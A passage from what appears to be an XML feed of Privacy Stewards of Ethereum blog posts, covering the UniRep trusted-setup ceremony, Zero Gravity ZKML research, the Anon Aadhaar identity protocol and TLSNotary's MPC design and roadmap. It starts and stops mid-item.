MPC with well-founded assumptions that have been battle-tested, relatively optimized, and thought to be secure and effective. Though there are plenty of optimizations left, ZK is now firmly within the realm of practicality. But there was also a time when ZK was confined to the untamed wilderness. To maximize the number of privacy-preserving, security-guaranteeing, claim-verifying, cryptography-enabled tools the world has access to, we should keep, at least, one eye squinted toward the horizon of what's to come because no one can predict what will be practical in 10 years. Sahai's presentation includes a quote from a [2003 Nature article by Steven Weinberg called Four Golden Lessons](https://www.nature.com/articles/426389a), which highlights another reason to work on the currently impractical. "When I was teaching at the Massachusetts Institute of Technology in the late 1960s, a student told me that he wanted to go into general relativity rather than the area I was working on, elementary particle physics, because the principles of the former were well known, while the latter seemed like a mess to him. It struck me that he had just given a perfectly good reason for doing the opposite… My advice is to go for the messes — that's where the action is." --- Programmable Cryptography is being explored by a variety of teams including [PSE](https://pse.dev/) and [0xPARC](https://0xparc.org/), co-organizers of a 2-day event called the [Programmable Cryptography Conference](https://progcrypto.org/) happening in Istanbul, Turkey on November 16 & 17, 2023. Come say hello! Or find [PSE online on Discord](https://discord.com/invite/sF5CT5rzrR). ]]> cryptography programmable cryptography zero-knowledge proofs mpc secure multi-party computation fhe fully homomorphic encryption io privacy security <![CDATA[UniRep Ceremony: An Invitation to the Celestial Call and UniRep v2]]> https://pse.dev/blog/unirep-ceremony-an-invitation-to-the-celestial-call-and-unirep-v2 https://pse.dev/blog/unirep-ceremony-an-invitation-to-the-celestial-call-and-unirep-v2 Tue, 24 Oct 2023 00:00:00 GMT <![CDATA[The initial ideas for this blog post originated from UniRep core contributor [Chance](https://github.com/vimwitch). Additional write up and review by [CJ](https://github.com/CJ-Rose), [Chiali](https://github.com/ChialiT), [Vivian](https://github.com/vivianjeng), [Doris](https://github.com/kittybest), and [Anthony](https://github.com/AnthonyMadia).]]> <![CDATA[ ## **Introduction** [“The Celestial Call”](https://ceremony.unirep.io/) is UniRep protocol’s trusted setup ceremony, aiming to gather a collective input to secure the foundation of the protocol. The keys generated from your input will solidify the next frontier of digital reputation, anonymity, and data sovereignty! The ceremony opened for contributions on October 10, 2023 and will remain open for 64 days. But first let’s expand our concept of what can be accomplished when building with UniRep, by moving beyond simplistic notions of reputation. ## **Rethinking reputation** [Historically](https://mirror.xyz/privacy-scaling-explorations.eth/FCVVfy-TQ6R7_wavKj1lCr5dd1zqRvwjnDOYRM5NtsE), we’ve used the term “reputation” in Universal Reputation (UniRep) to mean positive or negative reputation. This definition is very limiting in application and does not express what UniRep is capable of storing. Instead, reputation should be thought of as **user data**, including things like historical actions, preferences, associations, balances, ownership, friends, etc. UniRep allows applications to associate user data with anonymous users. Applications attest to changes to user data using anonymous identifiers ([epoch keys](https://developer.unirep.io/docs/2.0.0-beta-4/protocol/epoch-key)). A user’s data is the combination of all changes to all identifiers controlled by the user. The application cannot determine what changes belong to what user. Thus we can build non-custodial applications: applications that never have custody of user data. Users can interact with UniRep based applications trustlessly. Applications negate the risk of user data being hacked or stolen by never *knowing* user data. ## **Privacy-preserving personalization** Many of the platforms and services we rely on for our everyday needs — for communication, entertainment, shopping, banking, transportation, travel, etc .— give us no control over the security or privacy of our personal data. UniRep offers an opportunity for building privacy-first applications that invert the prevailing model and place control of information in the hands of its users. Imagine a consumer product platform where users’ viewing history, preferences, and transactions aren’t stored as user profiles on the platform’s servers, but as disassociated data points on a public blockchain. Because this data is attributed to ephemeral anonymous identifiers, and not names or accounts, the platform can’t associate any data to any individual user. Instead, the user will submit a ZK proof to verify their ownership of data relevant to a specific interaction or request. For example: - **anonymously request updates** (e.g. processing/delivery) by proving ownership of a purchase - **anonymously leave a rating** for a product by proving ownership of a purchase and generating a nullifier. - **anonymously request a refund** by proving ownership of a purchase, generating a nullifier, and providing information about the refund request. With this new model, applications can use information about user interactions to offer services like recommendations and reviews, without connecting that information to any individual’s persistent identity. ## **Identity trapdoor** For this post, let’s define three levels of identity. 1. Fully identified. e.g. That’s John, he lives on Fig Street and works at the bank 2. Pseudonymous. e.g. That’s trundleop, they write posts about bridges and trolls. 3. Anonymous. e.g. Identifier _0x219fa91a9b9299bf_ wrote a post about bees. This identifier will never be seen again. It’s very hard to go from lower levels of identity to higher levels of identity. If I see John spraypaint graffiti on the back of the bank he works at in real life, he’s going to have a hard time convincing me it was someone else. Conversely, it’s very easy to go from fully anonymous to less anonymity – or less identifiable to more identifiable. If I control identifier _0x219fa91a9b9299bf_, I can always make a ZK proof showing control or linking it to a pseudonym, identity, or another anonymous identifier. Identification is basically a trapdoor. It makes sense to build primitives that are *anonymous by default*. Users, or even applications, can choose to operate at lower levels of identity, depending on their priorities. To support anonymity for everyone, UniRep is designed to be fully anonymous by default. As we eagerly anticipate the unveiling of UniRep V2, we’re highlighting a foundational cryptographic layer: the trusted setup. This ceremony is more than just a formality; it's a multiparty computation designed to establish the secure parameters vital for common UniRep proofs. Within the UniRep framework, there are pivotal tasks — like user sign-ups and state transitions — that rely on these parameters. The trusted setup ceremony has two phases. For phase 1, we’ve used [Perpetual Powers of Tau](https://github.com/privacy-scaling-explorations/perpetualpowersoftau), a universal ceremony first launched in 2019. Phase 2, which we’ve named “The Celestial Call”, is specific to UniRep’s circuits. This setup ensures these circuits are distributed safely alongside our package code, fortifying every interaction within the system, and [you’re invited to participate](https://ceremony.unirep.io/). By joining “The Celestial Call”, you're not just contributing—you're helping to anchor a decentralized, anonymous, and deeply personal multiverse. The next chapter in anonymous, secure, and personalized interactions awaits your contribution. ## **Join the Celestial Call** The ceremony is planned to run for 64 days, beginning on October 10th, 2023 and concluding on December 12th, 2023. After this period, we'll compile all contributions, finalize the transcripts, and unveil the collaborative multiverse. You are welcome to revisit and verify your individual contribution and the final result. ## **Learn more about UniRep** Check out the website: [https://developer.unirep.io/](https://developer.unirep.io/) Build an application: [https://developer.unirep.io/docs/next/getting-started/create-unirep-app](https://developer.unirep.io/docs/next/getting-started/create-unirep-app) Try the attester demo app: [https://demo.unirep.io](https://demo.unirep.io/) Join our discord! [https://discord.gg/umW6qATuUP](https://discord.gg/umW6qATuUP) ]]> unirep trusted setup ceremony privacy zero-knowledge proofs identity reputation anonymity/privacy cryptography infrastructure/protocol <![CDATA[Continuing the Zero Gravity Journey]]> https://pse.dev/blog/continuing-the-zero-gravity-journey https://pse.dev/blog/continuing-the-zero-gravity-journey Thu, 19 Oct 2023 00:00:00 GMT <![CDATA[_This post was written by [George Wiese](https://github.com/georgwiese) and [Artem Grigor](https://github.com/ElusAegis). After Zero Gravity's 1st place finish at [ZK Hack Lisbon in April](https://zkhack.dev/2023/07/11/zk-hack-lisbon/), PSE recognized the potential of the Zero Gravity project and provided a grant for further research in the ZKML area._]]> <![CDATA[ It's been an incredible journey since our team first ventured into the world of zero-knowledge proofs for Weightless Neural Networks (WNNs) at the ZK Hack Lisbon event. For an in-depth look at where we started, we recommend checking out [Ben's insightful post](https://hackmd.io/@benjaminwilson/zero-gravity). Since then, we have improved the implementation from a python script that generates Aleo code to a Halo2 CLI that anyone can use. Check out our [previous blogpost](https://hackmd.io/FJIP2lSjRlesSHeG04LQ9Q?both=) to understand how you can prove and verify WNN evaluation on Ethereum. ## Pushing Boundaries Fast-forward to today, and we're excited to share our latest research findings, revealing the progress we've made in the fields of cryptography and weightless neural network. We believe that the best way to describe our work is through the exciting discoveries we've uncovered. ## Rust Prover: Enhancing Efficiency Our journey started with a deep dive into optimizing the Rust Prover, a crucial component in cryptographic protocols. Our goal was clear: find ways to significantly enhance the efficiency of lookups, a task that consumes a substantial portion of constraints in these protocols. ### Exploring Folding Schemes One of our paths of exploration led us to investigate folding schemes like [Sangria](https://geometry.xyz/notebook/sangria-a-folding-scheme-for-plonk) and [Origami](https://hackmd.io/@aardvark/rkHqa3NZ2). These schemes showed promise in reducing constraints associated with lookups in cryptographic proofs. However, to fully leverage their potential, they require further development and integration into the Halo2 library. ### Innovative Lookup Compression Techniques As we were determined to improve the performance despite all the wonderful technology like [Sangria](https://geometry.xyz/notebook/sangria-a-folding-scheme-for-plonk) and [Lasso](https://eprint.iacr.org/2023/1216) still being unavailable, we introduced [our own compression scheme](https://github.com/zkp-gravity/optimisation-research/tree/main/lookup_compression) for optimizing lookups. It compresses several binary lookup rows into a single field lookup, which significantly raises the performance for sparse lookup tables, such as ones we have in WNN Bloom Filter. The result has been 14 fold theoretical lookup table compression, though we are sure we could get it to **30 fold**, making it twice as efficient as our current optimised version. ## WNN: Elevating Performance Our research extended to improving data preprocessing and feature selection for Weightless Neural Networks (WNNs), with the aim of taking their performance to new heights. ### Unleashing the Power of Data Augmentation Our exploration uncovered the value of data augmentation as a powerful tool to combat overfitting and enhance the generalization of WNNs. However, we learned that caution must be exercised when applying data augmentation to smaller models, as it may lead to performance degradation. Larger models, on the other hand, excel at handling the increased variety of patterns introduced by data augmentation. ### The Art of Model Reduction through Feature Selection One of our standout achievements was the development of a feature selection algorithm that proved highly effective in reducing model size while maintaining commendable accuracy. Even for smaller models, we achieved remarkable reductions in size, sometimes up to 50%, with only a modest drop in accuracy. ### Feature Selection: Constructing Models with Precision We delved into the world of feature selection algorithms and introduced the greedy algorithm. Though computationally demanding, it offers a means to construct models with precisely selected features. The impact of this approach varies depending on the dataset's complexity, making it a valuable tool for larger and more intricate datasets. ## Charting the Future As we conclude this phase of our journey, we look ahead with eagerness to what lies beyond. We have identified crucial areas for further exploration and development that will shape the future of zero-knowledge proofs for Weightless Neural Networks. ### Improved Lookup Compression Our efforts will continue to focus on enhancing lookup compression algorithms, such as Lasso, and ensuring their seamless integration with existing cryptographic libraries like Halo2. The quest for novel compression techniques that reduce constraints in lookup operations remains a central research area. ### Scaling Feature Selection to Larger Datasets The application of feature selection algorithms to larger and more complex datasets is on our horizon. Evaluating their performance and scalability on datasets beyond MNIST will provide valuable insights into their practical utility. ## In Conclusion Our journey has been filled with challenges, breakthroughs, and innovative solutions. We've taken steps forward, fueled by the belief that our work contributes to a collective understanding of these complex fields. --- ## Explore Our Research - [Research Repository](https://github.com/zkp-gravity/optimisation-research/tree/main) - [Detailed Research Writeup](https://github.com/zkp-gravity/optimisation-research/blob/main/writeup.pdf) - [Implementation of Lookup Compression](https://github.com/zkp-gravity/optimisation-research/tree/main/lookup_compression) For a deeper dive into our research findings, we invite you to explore our research repository, read our detailed research writeup, and examine the implementation of lookup compression. Join us on this exciting journey of exploration, where innovation and privacy-preserving technologies intersect. To revisit where our journey began, take a look at our [Initial Blog Post from the Hackathon](https://hackmd.io/@benjaminwilson/zero-gravity). ]]> zkml zero-knowledge proofs weightless neural networks halo2 lookup compression folding schemes feature selection machine learning research zero gravity <![CDATA[Announcing Anon Aadhaar]]> https://pse.dev/blog/announcing-anon-aadhaar https://pse.dev/blog/announcing-anon-aadhaar Thu, 21 Sep 2023 00:00:00 GMT <![CDATA[_This post was written by the Anon Aadhaar team._ /n/n _We're excited to announce the public release of Anon Aadhaar!_]]> <![CDATA[ ### What is Anon Aadhaar? Anon Aadhaar is a protocol that lets users anonymously prove their Aadhaar (Indian) identity, in a very fast and simple way. The core of the protocol is the [circuits](https://github.com/privacy-scaling-explorations/anon-aadhaar/tree/main/packages/anon-aadhaar-pcd/circuits), but we also provide a SDK to let any app use the protocol. [Try our demo](https://anon-aadhaar-example.vercel.app/) with your Aadhaar card or example files ([signed pdf](https://anon-aadhaar-documentation.vercel.app/assets/files/signed-66a64f9f9b3da47ff19b81f6510e26fe.pdf), [certificate file](https://anon-aadhaar-documentation.vercel.app/assets/files/certificate-8bda87cda7bd74771f70cc0df28fc400.cer)). Follow our tutorial by [building a voting app with Anon Aadhaar](https://anon-aadhaar-documentation.vercel.app/blog), fork our [example app](https://github.com/anon-aadhaar-private/anon-aadhaar-example) and build your own. ### Why Aadhaar cards? The [Aadhaar program](https://en.wikipedia.org/wiki/Aadhaar) is among the largest digital identity schemes in the world. There are 1.2 billion people enrolled, accounting for around 90% of India's population. Aadhaar cards carry both demographic and biometric data, including the holder's date of birth and its fingerprint. They are used in a variety of contexts such as loan agreements or housing applications. Bring this onchain in a privacy preserving way opens the possibility for many more applications on Ethereum. Anon Aadhaar is one instantiation of the broader "Anonymous Credentials" with the goals of "[proof of citizenship](https://discord.com/channels/943612659163602974/1141757600568971304/1141759379578822707)", "proof of identity", "proof of passport", "proof of personhood", among others. Our approach leverages government identities, in this case Aadhaar Cards, to enhance digital interactions. ### Importance of Anonymity A healthy society enables people to voice their concerns, opinions and ideas without fear or reprimands. Although there are many protocols that provide anonymity, anonymity without context lowers the value of the interactions. How can I be sure the opinions shared are not part of a bot network, campaign, or external influence for my country/DAO/company? **Contextual anonymity is key to build trust** and enhance the value of noise to signal. In the broader context, Anon Aadhaar supports [proof of personhood](https://vitalik.ca/general/2023/07/24/biometric.html) by adding a convenient privacy layer. We can talk about a "forth column" that leverages existing PKI and public government ID programs to enhance digital interactions. ![](/articles/announcing-anon-aadhaar/ZfpBm9HmDYDgP8rTYnA_9.webp) _Table modified from [https://vitalik.ca/general/2023/07/24/biometric.html](https://vitalik.ca/general/2023/07/24/biometric.html)_ \*Low decentralization in regard to the Government being the single issuer of the IDs. But high decentralization in the verification and permissionless applications that can be built on top of them. ## Highlight Features - SDK to directly integrate with your dapp - PCD package to leverage this framework - React package to quickly integrate your front-end - Example app to try it and fork - Proving time ~30s (avg on browser) ### What it contains - **[anon-aadhaar-contracts:](https://github.com/privacy-scaling-explorations/anon-aadhaar/tree/main/packages/anon-aadhaar-contracts)** import it directly in your smart contract to check on-chain that a user has a valid anon Aadhaar identity proof. - **[anon-aadhaar-pcd:](https://github.com/privacy-scaling-explorations/anon-aadhaar/tree/main/packages/anon-aadhaar-pcd)** [PCD](https://pcd.team/) is a clever framework for programmable cryptography to facilitate composability and interoperability. This package facilitates building dapps using PCDs. - **[anon-aadhaar-react](https://github.com/privacy-scaling-explorations/anon-aadhaar/tree/main/packages/anon-aadhaar-react)** React component library to embed the [anon-aadhaar](https://github.com/privacy-scaling-explorations/anon-aadhaar) circuit in your project, and let you verify that a user has a regular Aadhaar ID, by generating ZKProofs, and authenticating them. Check our [documentation](https://anon-aadhaar-documentation.vercel.app/docs/intro) and feel free to try our [Integration Tutorial](https://anon-aadhaar-documentation.vercel.app/docs/integration-tuto). ### Building with Anon Aadhaar Anonymous protocols are very versatile, so get creating! If you want inspiration here are some ideas: - **HeyIndia:** a copy of [HeyAnon](https://heyanon.xyz/) app, but need to prove you're from India in order to post. - **Aadhaar Wallet:** similar to [Myna](https://ethglobal.com/showcase/myna-uxzdd), create an ERC-4337 compatible wallet that uses your Aadhaar card to approve transactions or social recover with other users. - **Voting App for Quadratic Voting:** vote if you can prove your citizenship. - **Telegram private groups:** where you need to prove you're an Indian citizen in order to join - **[Bandada](https://pse.dev/projects/bandada) credential groups**: gatekept by Anon Aadhaar proofs and then integrated to anonymous chats using [Discreetly](https://pse.dev/projects/discreetly). - **SSO Server:** anonymously login with your "proof of citizenship" in any website. Explore integrations with Sign in with Ethereum - **Payment Channel:** use Anon Aadhaar SDK to create payment channel. Help people can verify another party with zkp. This is only for demo how people can use our SDK. - **Loan Approval Platform:** create a platform for secure and anonymous loan approvals based on Aadhaar information. - **Ethereum Wallet Recovery:** design a dApp that helps users recover their Ethereum wallets using their Aadhaar credentials. - **Web3 API Access Control:** develop a dApp that enables developers to control access to their web3 APIs based on verified Aadhaar identities. - **Privacy-Preserving Developer Communities:** decentralized developer communities where members can engage in discussions and collaborations while maintaining their anonymity. ### Additional Links - [Anon Aadhaar - Install Solidity Verifier](https://anon-aadhaar-documentation.vercel.app/docs/install-solidity-verifier) - [Ethresear.ch](http://ethresear.ch/) - [Leveraging an existing PKI for a trustless and privacy preserving identity verification scheme](https://ethresear.ch/t/leveraging-an-existing-pki-for-a-trustless-and-privacy-preserving-identity-verification-scheme/15154) - [https://polygon.technology/blog/polygon-id-is-more-than-biometric-proof-of-personhood](https://polygon.technology/blog/polygon-id-is-more-than-biometric-proof-of-personhood?utm_source=twitter&utm_medium=social&utm_content=polygon-id-more-than-biometric) - [https://whitepaper.worldcoin.org/proof-of-personhood](https://whitepaper.worldcoin.org/proof-of-personhood) - [https://ethglobal.com/showcase/proof-of-baguette-ing99](https://ethglobal.com/showcase/proof-of-baguette-ing99) - [https://ethglobal.com/showcase/myna-uxzdd](https://ethglobal.com/showcase/myna-uxzdd) ### Looking ahead Our two key next features are 🏍️ **Supporting Nullifiers** & 🏍️ **iOS Support**. Future ideas include: faster proving times, supporting more countries, etc. Check our [roadmap](https://www.notion.so/Anon-Aadhaar-H2-2023-Roadmap-30206f5cb8654fdd959f4aa1470ad2f0?pvs=21) and feel free to give feedback at [#proof-of-citizenship](https://discord.com/channels/943612659163602974/1141757600568971304) Thanks to [@vuvoth](https://github.com/vuvoth), [@Meyanis95](https://github.com/Meyanis95) , [@andy](https://twitter.com/AndyGuzmanEth), [@jmall](https://twitter.com/Janmajaya_mall), [@xyz_pierre](https://twitter.com/xyz_pierre)**, @PSE design team** ]]> anonaadhaar privacy zero-knowledge proofs digital identity identity ethereum proof of personhood credentials <![CDATA[TLSNotary Updates]]> https://pse.dev/blog/tlsnotary-updates https://pse.dev/blog/tlsnotary-updates Tue, 19 Sep 2023 00:00:00 GMT <![CDATA[This post was written by [sinu](https://github.com/sinui0).]]> <![CDATA[ ## Introduction TLSNotary is a protocol which allows people to export data from any web application and prove facts about it to a third-party in a privacy preserving way. It enables privacy-preserving **data provenance and data portability**, empowering users to share their data with others as they see fit. To do this, TLSNotary leverages secure multi-party computation (MPC) to authenticate data communicated between a Prover and a TLS-enabled web server, as depicted in Figure 1. ![Figure 1: Simple Overview](/articles/tlsnotary-updates/937hO8dmgvBOQi2wKCiQI.webp) Figure 1: Simple Overview Importantly, the protocol supports _selective disclosure_ of data to a Verifier. This way the Prover can keep secrets hidden, such as passwords or any other information not necessary to prove some specific statement. Selective disclosure may involve simple redactions, or more advanced techniques such as a zero-knowledge proof that a number in the data is within a specific range, without disclosing its exact value. ![Figure 2: Selective Disclosure](/articles/tlsnotary-updates/72bmC4nzUBIDIaSFsx7zD.webp) Figure 2: Selective Disclosure The TLSNotary protocol presents a compelling alternative to other solutions for sharing data for the following reasons: - It does not require the Server to integrate data sharing into its application, such as OAuth. - The act of disclosing data to a third-party is not known to the Server, nor can it be practically censored. - The Prover has very fine-grained control over _exactly_ what data is disclosed to the Verifier. - The Verifier does not need to trust that the Prover is honest, the authenticity of the data comes with cryptographic assurances. For more introductory information, see our [website](https://tlsnotary.org/) which also includes some example use-cases and a link to our (work-in-progress) documentation. TLSNotary is a project under the [Privacy Stewards of Ethereum (PSE)](https://pse.dev/) team at the Ethereum Foundation. PSE is a multi-disciplinary team exploring how programmable cryptography can be applied to enhance privacy and scale trust-minimized systems. ### General-purpose Verifier: Notary We envision an ecosystem of general-purpose verifiers, called Notaries, which help users take back control of their data in a privacy preserving way. We find it important that our protocol supports hiding the identity of the Server, as well as hiding virtually _all information_ about the application the Prover is interacting with. A Notary is a special kind of verifier which allows the Prover to do just that. It decouples the process of proving the authenticity of data from the process of selective disclosure. Notaries being completely blind of context preserves neutrality, and helps mitigate bad incentives or censorship which could arise in circumstances with an application-specific Verifier. Of course, we still need to support selective disclosure of the data to _someone_. How do we do that if a Notary is to know nothing? Fortunately this is still possible to do in a relatively simple way. ![Figure 3: Notaries](/articles/tlsnotary-updates/rVdi2SRQeDMui5D9EpLy7.webp) Figure 3: Notaries During the MPC, efficient commitments to the data are generated and we can reuse them for selective disclosure. The Notary simply signs an attestation which includes these commitments, as well as a commitment to the Server identity, which the Prover can store and carry around (in a data backpack? 🎒). Later the Prover can use this attestation to selectively disclose data to someone else. This enables users to privately export data with the help of a neutral third-party, receiving an attestation to its authenticity. Using these attestations, other verifiers can accept proofs if they consider the attesting Notary trustworthy. Of course, a verifier can require attestations from multiple Notaries, which reduces to a 1-of-N trust assumption! ## How It Works As mentioned in the introduction, TLSNotary leverages MPC to provide cryptographic assurances that the Prover can not cheat or lie about the communications with the Server. Additionally, the Verifier can not tamper with the connection as to leak secrets or cause malicious state updates within the application. In other words, the protocol is designed to be [malicious secure](https://en.wikipedia.org/wiki/Secure_multi-party_computation#Security_definitions) for both parties. The Prover and Verifier securely secret-share the TLS session keys such that neither party is able to unilaterally send or receive messages from the Server. This ensures the authenticity of data, while hiding the plaintext from the Verifier. Under the hood we employ primitives such as [Garbled Circuits](https://en.wikipedia.org/wiki/Garbled_circuit), [Oblivious Transfer](https://en.wikipedia.org/wiki/Oblivious_transfer#1%E2%80%932_oblivious_transfer) and Oblivious Linear Evaluation (OLE) to do this. These primitives have historically suffered from high resource costs in terms of both compute and bandwidth requirements, particularly in adversarial settings which require malicious security. Fortunately, over the past decade or so, there have been many breakthroughs in concrete efficiency which have brought MPC closer to a practical reality for many applications. Even so, implementing a protocol like TLSNotary pushes up against the bounds of practical feasibility in the malicious setting. For example, the dominant cost of our protocol comes from performing binary computation using Garbled Circuits. Modern techniques such as free-XOR\[1\] and half-gates\[2\] still comes with a cost of ~200kB of communication to evaluate a single AES block (the most widely used cipher in TLS) in the semi-honest setting. Extrapolating, it costs ~50MB to encrypt only 4kB of data! Doing so with malicious security can easily add an order of magnitude to this cost figure, rendering such pursuits practically infeasible. ![Figure 4: 2PC AES with Garbled Circuits](/articles/tlsnotary-updates/iVGzdByXRwBQPxjtLgcvN.webp) Figure 4: 2PC AES with Garbled Circuits Naturally, we require the TLSNotary protocol to be secure against malicious adversaries. We must find a way to make it malicious secure, but malicious security is expensive. Wat do? Before we get into how we solved this problem for our protocol, we wanted to highlight a viable alternative approach which we decided not to take. ### Alternative: Proxy Mode An alternative approach to this problem is to side-step the need to use expensive MPC techniques and stick to cheaper approaches which operate in the zero-knowledge setting. Or more specifically, the setting where only 1 party has private inputs (the Prover). Rather than having the Prover connect directly to the Server and operating the connection cooperatively with the Verifier, instead, the Verifier is situated in-between the Prover and Server, as shown in Figure 5. ![Figure 5: Proxy Mode](/articles/tlsnotary-updates/mkFlgTetsnz11qEMVw_xo.webp) Figure 5: Proxy Mode In this configuration, the Verifier acts as a proxy and simply records the encrypted data being communicated between the Prover and Server. Afterwards, the Prover can selectively disclose parts of the data with a zero-knowledge proof using their TLS keys as private inputs. This approach is quite viable and is one which other teams are pursuing. However, it comes with a different set of security assumptions. Rather than relying just on cryptographic assumptions, the proxy approach also makes _network topology_ assumptions. It assumes that the Verifier has a direct connection to the Server, and that a malicious Prover can not bypass or otherwise insert themselves in-between the Verifier and Server. As the Prover holds the full TLS session keys, if they are able to invalidate this assumption it completely breaks the integrity of the protocol. As explained in the above section on Notaries, we find the ability to hide the identity of the Server from the Verifier important. This is clearly not possible with this model. To be fair, there are viable mitigations to network attacks and in many scenarios these assumptions are acceptable. We look forward to seeing what is unlocked with the application of this model, as the simplicity and efficiency of this approach is enticing. However, we decided to pursue the MPC approach and found a way to practically achieve malicious security without making such network assumptions. ### Achieving Practicality with MPC A key observation enabling our approach is that all private inputs from the Verifier in the MPC are ephemeral. That is, after the TLS connection has been terminated the Verifier can reveal their share of the TLS session keys to the Prover without consequence. Moreover, multiple bits of the Verifier's inputs can be leaked prematurely without compromising security of the overall protocol. Malicious secure protocols typically aim to prevent _any_ leakage of any parties inputs, employing techniques such as authenticated garbling or variants of cut-and-choose, which add significant compute and/or communication overhead. For our needs, we implemented a novel\* variant of so-called Dual Execution, which we dubbed Dual Execution with Asymmetric Privacy (DEAP). Is there a better name for it? Probably. Nonetheless, you can read our informal [explanation of it here](https://tlsnotary.org/docs/mpc/deap). The jist of it is this: During the TLS session one party, the Prover, acts as the Garbler while also committing to their inputs prior to learning the output of the circuit. Later, these commitments are used to prove the Prover acted honestly (or at least leakage was statistically bounded), and aborting otherwise. Some key take away of this approach: - Garbled circuits on their own are secure against a malicious evaluator. The Verifier, acting as the evaluator, can not cheat or otherwise corrupt the output without detection. This ensures the privacy and integrity of the data to the Prover during the TLS session. - In the final phase of DEAP the Verifier opens all their inputs to the Prover. This allows the Prover to check the Verifier has behaved honestly and ensures _no leakage_ of the private data, contrary to the leakage inherent in the equality check of standard Dual Execution. Exploiting the rather niche privacy requirements of our protocol allows us to achieve malicious security without the typical overhead that comes with it. In fact, the final phase of DEAP reduces to the much cheaper zero-knowledge scenario. While we currently use garbled circuits for this ZK phase, as pioneered in JKO13\[4\], we can take advantage of even more efficient ZK proof systems. We're planning on switching to new methods known as VOLE-based IZK\[5\], which boast over 100x reduction in communication cost compared to garbled circuits. Doing so will make our protocol marginally more expensive than the semi-honest security setting. Using the efficient VOLE-based IZK in combination with the simple trick of deferring decryption until after the TLS connection is closed, **TLSNotary will achieve efficiency similar to that of the proxy mode configuration**. Specifically, we do not need to utilize expensive Garbled Circuits for proving Server response data, which is typically the dominant cost. \* This approach has recently also been articulated by XYWY23\[3\] ### A note on Oracles While the TLSNotary protocol can be used to construct a [blockchain oracle protocol](https://ethereum.org/en/developers/docs/oracles/), that is not its primary purpose, especially in regards to _public_ data feeds. TLSNotary is best suited for contexts which require proving of _private_ data which is typically only accessible to an authenticated user. Moreover, because it is an _interactive_ protocol, it must be run by an off-chain Verifier. Bringing data on-chain still requires a trust assumption, ie an attestation from a trusted party(s). ## Where We Are An alpha version of the TLSNotary protocol is [available for testing](https://github.com/tlsnotary/tlsn). We welcome folks to start playing around with it, including trying to break it! We have some examples available and a quick start to get you running. The underlying MPC primitives are contained in a separate project named `mpz` which is intended to evolve into a general-purpose MPC stack. Both codebases are 100% Rust 🦀 and compile to WASM targets with an eye on deployment into browser environments. All our code is and always will be open source! Dual-licensed under Apache 2 and MIT, at your choice. We've invested effort into making sure our code is modular and capable of evolving. We hope that others may find some of the components independently interesting and useful. Contributions are welcome! ### Current Limitations While we're excited to start experimenting with TLSNotary, we acknowledge the work we have ahead of us. Below are some important points to consider: - Our protocol currently lacks security proofs and has not been audited. - It is functional but under active development. - Until we integrate VOLE-based IZK, it is only practical to prove data volumes in the **low kB** range (largely dependent on network bandwidth between the Prover and Verifier). This works for many use-cases involving API queries for succinct representations of data, eg. identity information. - Selective disclosure _tooling_ is currently limited to simple redactions. ## Roadmap We have a number of items on our roadmap that we are tackling across a few different areas. ### Core Protocol (MPC TLS) In addition to standard things like better tests, audits and documentation, we have a number of improvements in mind for our core protocol: - The security proofs for the protocol we use for OT extension, KOS15\[6\], was called into question around the time we adopted and implemented it. We're due to replace it with the more recent SoftSpokenOT protocol, Roy22\[7\] - Implement and integrate VOLE-based IZK. As mentioned earlier, this is a critical piece which will significantly boost efficiency and make proving larger data volumes (MBs) practical. - Improve the P256 point-addition protocol used in the ECDHE key exchange, as well as the protocol for GHASH used in AES-GCM. We implement both using Gilboa-style (Gil99\[8\]) OLE with additional consistency checks, but a more efficient approach was recently demonstrated by XYWY23\[3\]. - Add support for the ChaCha20-Poly1305 ciphersuite. ChaCha20 has ~50% lower communication cost compared to AES when executed in MPC. - TLS 1.3 support. ### Selective Disclosure Being able to prove the authenticity of data is one thing, but it's important that selective disclosure tooling is available for developers to easily build privacy preserving applications. Below are some items we will be prioritizing: - Gadgets and examples for using the commitments with SNARKs. We intend to make it easy to integrate SNARKs using tooling such as Circom. - Support proving arbitrary statements to the Verifier with IZK. Presently, we only provide tools for simple redactions out of the box. - Tooling for common application contexts, eg. HTTP, and JSON. Web applications do not represent data in formats friendly to ZK proofs, so it can be quite burdensome to work with. Developers need good abstractions at their disposal for working with these formats. ## Infrastructure ### Reference Notary Server We're building a reference [Notary server implementation](https://github.com/tlsnotary/notary-server) which enables anyone to spin up a Notary and start attesting! This implementation will also serve as a reference for building application-specific verifiers. ### Browser extension Desktop applications have mostly fallen out of style, which is a shame because building cryptography applications in the browser is _difficult_! But we work with what we've got. So we're building a [web extension](https://github.com/tlsnotary/tlsn-extension) to let people run the TLSNotary protocol in their browser using WASM. It is still in very early stages, but the plan is to provide some UI conveniences for users, and a plugin system for developers to build proving flows in a sandboxed environment. We envision an open ecosystem of these plugins which users can select depending on their needs. This no doubt will come with some security challenges! ## Join Us! Come find us in our [public Discord server](https://discord.gg/9XwESXtcN7), and tune in for further updates on [Twitter](https://twitter.com/tlsnotary). We're looking forward to seeing all the great privacy-centric applications folks can come up with!TLSNotary is made possible because of contributions from [dan](https://github.com/themighty1), [th4s](https://github.com/th4s), [Hendrik Eeckhaut](https://github.com/heeckhau), [Christopher Chong](https://github.com/yuroitaki), [tsukino](https://github.com/0xtsukino), [Kevin Mai-Husan Chia](https://github.com/mhchia), [sinu](https://github.com/sinui0). ## References - \[1\] Kolesnikov, V., Schneider, T.: Improved garbled circuit: Free XOR gates and applications. In: ICALP 2008, Part II (2008) - \[2\] Zahur, S., Rosulek, M., and Evans, D.: Two Halves Make a Whole Reducing Data Transfer in Garbled Circuits using Half Gates. In: 34th Eurocrypt, Sofia, Bulgaria, April 2015 - \[3\] Xie, X., Yang, K., Wang, X., Yu, Y.: Lightweight Authentication of Web Data via Garble-Then-Prove - \[4\] Jawurek, M., Kerschbaum, F., Orlandi, C.: Zero-Knowledge Using Garbled Circuits or How To Prove Non-Algebraic Statements Efficiently. - \[5\] Baum, C., Dittmer, S., Scholl, P., Wang, X.: SoK: Vector OLE-Based Zero-Knowledge Protocols - \[6\] Keller, M., Orsini, E., Scholl, P.: Actively Secure OT Extension with Optimal Overhead - \[7\] Roy, L.: SoftSpokenOT: Communication–Computation Tradeoffs in OT Extension - \[8\] Gilboa, N.: Two Party RSA Key Generation. In: Advances in Cryptology - Crypto '99 ]]> tlsn mpc secure multi-party computation privacy data portability cryptography selective disclosure security zero-knowledge proofs infrastructure/protocol <![CDATA[From CEX to CCEX with Summa Part 1]]> https://pse.dev/blog/from-cex-to-ccex-with-summa-part-1 https://pse.dev/blog/from-cex-to-ccex-with-summa-part-1 Thu, 14 Sep 2023 00:00:00 GMT <![CDATA[This post was written by 